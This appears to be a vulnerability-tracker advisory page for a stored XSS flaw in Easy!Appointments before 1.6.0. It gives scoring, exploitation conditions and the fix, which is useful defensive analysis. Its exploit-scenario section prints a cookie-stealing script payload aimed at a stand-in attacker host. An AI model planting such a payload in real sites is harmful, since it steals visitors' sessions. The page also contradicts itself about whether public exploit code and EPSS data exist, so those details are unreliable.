Skip to main content

Easy!Appointments EUVDEUVD-2026-43705

| CVE-2026-52838 LOW
Cross-site Scripting (XSS) (CWE-79)
2026-07-14 GitHub_M GHSA-996f-334j-67g7
2.6
CVSS 3.1 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain or compromise admin credentials
  2. Delivery
    Inject JS payload into disable_booking_message rich-text field
  3. Exploit
    Enable booking-disabled mode in booking settings
  4. Execution
    Unauthenticated visitor loads public booking page
  5. Impact
    Stored XSS payload executes in visitor browser

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Two distinct preconditions must both be met for exploitation. First, the attacker must possess or obtain administrator-level credentials for the Easy!Appointments instance - CVSS PR:H confirms this hard requirement; standard user or appointment-manager roles are insufficient. Second, the 'booking disabled' mode must be active in the application settings, which causes the application to serve the booking_message view that renders the unsanitized disable_booking_message value; if booking is enabled, the vulnerable code path is never reached. Once both conditions are satisfied, exploitation requires no further attacker interaction - any unauthenticated visitor loading the public booking URL triggers the payload (UI:R applies to the victim). Non-default deployments behind a VPN or internal network would restrict the pool of potential victims but are not inherent software mitigations. Only versions prior to 1.6.0 are affected.

Impact

The official CVSS 3.1 base score is 2.6 (Low), driven primarily by PR:H (administrator authentication required to plant the payload), AC:H, and UI:R (the victim must visit the page). The S:C (scope change) correctly captures that the injected payload executes in the browser context of unauthenticated public visitors rather than the administrator. Despite the low raw score, real-world risk is nuanced: a compromised or malicious administrator can silently embed a persistent XSS payload affecting all subsequent visitors to the booking page without any further privileges or interaction from the attacker beyond initial setup. EPSS data was not provided in the source intelligence; the vulnerability is not listed in CISA KEV; and no public exploit code has been identified. The primary limiting factor is the hard PR:H prerequisite, making this a plausible insider threat or post-compromise escalation vector rather than an opportunistic remote attack. For organizations with strict admin account controls and MFA, practical risk is low; for self-hosted deployments with shared or weakly protected credentials, the persistent and zero-interaction-on-attacker-side nature elevates concern.

Exploit ScenarioDerived

An attacker holding or having compromised administrator credentials navigates to the booking settings page and enters a JavaScript payload such as <script>fetch('https://attacker.example/log?c='+document.cookie)</script> into the rich-text 'booking disabled' message field, then enables booking-disabled mode. From that point forward, every unauthenticated visitor who loads the public booking URL silently executes the stored script, enabling cookie exfiltration, phishing overlays injected into the trusted booking domain, or silent redirection to attacker-controlled infrastructure. No public POC code has been identified, but the attack path requires no specialized knowledge given the straightforward nature of stored XSS.

Monitor Track and reassess. Why: LOW severity (CVSS 0.1-3.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 14, 2026

Stored XSS in Easy!Appointments versions prior to 1.6.0 allows an authenticated administrator to inject arbitrary HTML or JavaScript into the 'booking disabled' message field via the booking settings rich-text editor. The unsanitized value is rendered directly to every unauthenticated visitor who opens the public booking page while booking is disabled, crossing a scope boundary from admin context to anonymous public users. No public exploit has been identified at time of analysis; CVSS rates this 2.6 (Low) driven by the administrator-level privilege requirement, though the persistent cross-scope impact on all public visitors is a meaningful secondary risk factor.

RemediationAI

Upgrade to Easy!Appointments version 1.6.0, which resolves the issue by applying pure_html() sanitization both at save time within Booking_settings.php and at render time in the booking_message.php view, as confirmed by commit 629a0415f54f75556c17f4f5d9c77fda1fdbdeae (https://github.com/alextselegidis/easyappointments/commit/629a0415f54f75556c17f4f5d9c77fda1fdbdeae). If an immediate upgrade is not feasible, a targeted compensating control is to keep booking enabled so the vulnerable booking_message view path is never reached - note this has operational impact for organizations that legitimately need to suspend booking. Alternatively, audit and clear the disable_booking_message field directly in the database to eliminate any pre-existing malicious content, and restrict administrative access to MFA-protected, individually-audited accounts to reduce the likelihood of unauthorized payload injection.

Affected VersionsENISA

easyappointments < 1.6.0

Affected Packages

composer alextselegidis/easyappointments no fix
euvd easyappointments fix: 1.6.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in composer, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Easy!Appointments is a self-hosted PHP/CodeIgniter appointment scheduling web application (CPE: cpe:2.3:a:alextselegidis:easyappointments:*:*:*:*:*:*:*:*). The flaw falls under CWE-79 (Improper Neutralization of Input During Web Page Generation - Cross-site Scripting). The root cause is missing output encoding at both storage and render layers: the disable_booking_message field accepted through a rich-text editor in the Booking_settings controller was stored without HTML sanitization and then rendered in booking_message.php via a bare PHP echo (<?= vars('message_text') ?>), bypassing all encoding. Commit 629a041 confirms the fix: a pure_html() sanitizer was applied at save time inside Booking_settings.php for all fields in the $rich_text_settings whitelist, and a second pure_html() call was added at render time in the view template, implementing defense-in-depth output encoding.

Know when Easyappointments gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 2.6 LOW
AV:N/AC:H/PR:H/UI:R/S:C/C:N/I:L/A:N
vuln.today AI 4.8 MEDIUM

PR:H confirmed by admin-only write access; AC:L because once payload is stored any visitor triggers it without further attacker complexity; C:L added since XSS enables content and credential exfiltration in the victim browser session.

3.1 AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:H/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
High
Privileges Required
High
User Interaction
Required
Scope
Changed
Confidentiality
None
Integrity
Low
Availability
None

Lifecycle Timeline

1
Patch available
Jul 14, 2026 - 18:20 EUVD

DescriptionCVE.org

Easy!Appointments is a self hosted appointment scheduler. Versions prior to 1.6.0 allow administrators to define a custom "booking disabled" message through the booking settings page. That value is stored in the disable_booking_message setting via a rich-text editor and later passed directly to the public booking_message view without escaping or sanitization. An authenticated administrator can store HTML or JavaScript in this field, enable disabled-booking mode, and trigger stored XSS in every unauthenticated visitor who opens the public booking page. Version 1.6.0 fixes the issue.

Threat Intelligence Overview

EPSS Score
0.2%
Top 92% exploitable
Prevalence
Low
niche self-hosted PHP scheduling app, limited enterprise footprint
Threat Intel
1
1 source
Exploit
POC
Public exploit code exists
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity LOW
CISA KEV No
Public POC Yes
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
LOW severity (CVSS 0.1-3.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Low
Technical Impact
Partial

Priority Score

33
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +13
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

CVE-2024-57602 CRITICAL POC
9.8 Feb 12

An issue in Alex Tselegidis EasyAppointments v.1.5.0 allows a remote attacker to escalate privileges via the index.php f

CVE-2023-1269 CRITICAL POC
9.8 Mar 08

Use of Hard-coded Credentials in GitHub repository alextselegidis/easyappointments prior to 1.5.0. Rated critical severi

CVE-2022-0482 CRITICAL POC
9.1 Mar 09

Exposure of Private Personal Information to an Unauthorized Actor in GitHub repository alextselegidis/easyappointments p

CVE-2023-2105 HIGH POC
8.8 Apr 15

Session Fixation in GitHub repository alextselegidis/easyappointments prior to 1.5.0. Rated high severity (CVSS 8.8), th

CVE-2022-1397 HIGH POC
8.8 May 10

API Privilege Escalation in GitHub repository alextselegidis/easyappointments prior to 1.5.0. Rated high severity (CVSS

CVE-2025-50383 HIGH POC
8.1 Aug 25

alextselegidis Easy!Appointments v1.5.1 was discovered to contain a SQL injection vulnerability via the order_by paramet

CVE-2026-23622 HIGH POC
7.4 Jan 15

Cross-Site Request Forgery (CSRF) in Easy!Appointments 1.5.2 and earlier allows remote attackers to perform administrati

CVE-2026-55651 HIGH POC
7.1 Jul 14

Broken object-level authorization in Easy!Appointments 1.5.2 lets any authenticated user query the customers search endp

CVE-2026-52837 MEDIUM POC
6.9 Jul 14

The reschedule endpoint in Easy!Appointments 1.5.2 and earlier exposes the complete customer database record to any part

CVE-2024-57601 MEDIUM POC
6.1 Feb 12

Cross Site Scripting vulnerability in Alex Tselegidis EasyAppointments v.1.5.0 allows a remote attacker to execute arbit

CVE-2023-2104 MEDIUM POC
5.4 Apr 15

Improper Access Control in GitHub repository alextselegidis/easyappointments prior to 1.5.0. Rated medium severity (CVSS

CVE-2023-2103 MEDIUM POC
5.4 Apr 15

Cross-site Scripting (XSS) - Stored in GitHub repository alextselegidis/easyappointments prior to 1.5.0. Rated medium se

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy